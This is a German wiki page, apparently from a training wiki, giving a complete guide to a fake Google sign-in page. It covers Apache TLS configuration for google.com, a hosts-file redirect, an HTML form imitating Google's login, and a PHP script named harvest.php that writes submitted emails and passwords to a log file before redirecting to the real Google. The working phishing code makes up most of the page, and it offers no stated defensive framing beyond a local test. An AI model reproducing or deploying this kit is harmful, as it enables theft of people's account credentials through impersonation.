Google.com: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „= Fake-Google-Login mit Apache, SSL und PHP-Logging = == Ziel == * TLS-geschützte Fake-Loginseite * Sieht aus wie Google * Loggt E-Mail + Passwort in Datei *…“)
(kein Unterschied)

Version vom 20. Mai 2025, 18:03 Uhr

Fake-Google-Login mit Apache, SSL und PHP-Logging

Ziel

  • TLS-geschützte Fake-Loginseite
  • Sieht aus wie Google
  • Loggt E-Mail + Passwort in Datei
  • Kein nginx, kein SET, kein Frickel

Voraussetzungen

  • Zertifikate vorhanden:
    • /etc/apache2/google.com.fullchain.crt
    • /etc/apache2/google.com.key
  • Apache & PHP installiert:
apt install apache2 php libapache2-mod-php -y

Apache für SSL konfigurieren

  • Datei bearbeiten:
vi /etc/apache2/sites-available/000-default.conf
  • Inhalt ersetzen:
<VirtualHost *:443>
    ServerName google.com
    DocumentRoot /var/www/html

    SSLEngine on
    SSLCertificateFile /etc/apache2/google.com.fullchain.crt
    SSLCertificateKeyFile /etc/apache2/google.com.key

    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>
  • SSL-Modul aktivieren:
a2enmod ssl
  • Apache neu starten:
systemctl restart apache2

Hosts-Datei anpassen

  • Auf dem Client:
echo "127.0.0.1 google.com" >> /etc/hosts

HTML + PHP bereitstellen

  • Verzeichnis: /var/www/html
  • index.html:
<!DOCTYPE html>
<html>
<head>
  <title>Sign in – Google Accounts</title>
  <meta charset="utf-8">
  <style>
    body { font-family: Arial, sans-serif; background: #f2f2f2; text-align: center; }
    .login-box {
      background: white; padding: 20px; margin: 100px auto;
      width: 300px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.2);
    }
    .logo { width: 100px; margin-bottom: 10px; }
    input, button {
      width: 90%; padding: 10px; margin: 10px 0;
      border: 1px solid #ccc; border-radius: 4px;
    }
    button { background: #1a73e8; color: white; border: none; }
  </style>
</head>
<body>
  <div class="login-box">
    <img src="logo.png" class="logo">
    <h2>Sign in</h2>
    <form action="harvest.php" method="POST">
      <input type="text" name="email" placeholder="Email" required>
      <input type="password" name="password" placeholder="Password" required>
      <button type="submit">Sign in</button>
    </form>
  </div>
</body>
</html>
  • harvest.php:
<?php
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
header("Location: https://www.google.com");
exit;
?>
  • Logo (optional):
    • logo.png → z. B. von SET exportieren oder Screenshot nehmen

Test

  • Aufruf im Browser:
https://google.com

→ Seite erscheint → Eingabe wird geloggt in /var/www/html/log.txt → Weiterleitung zu echter Google-Seite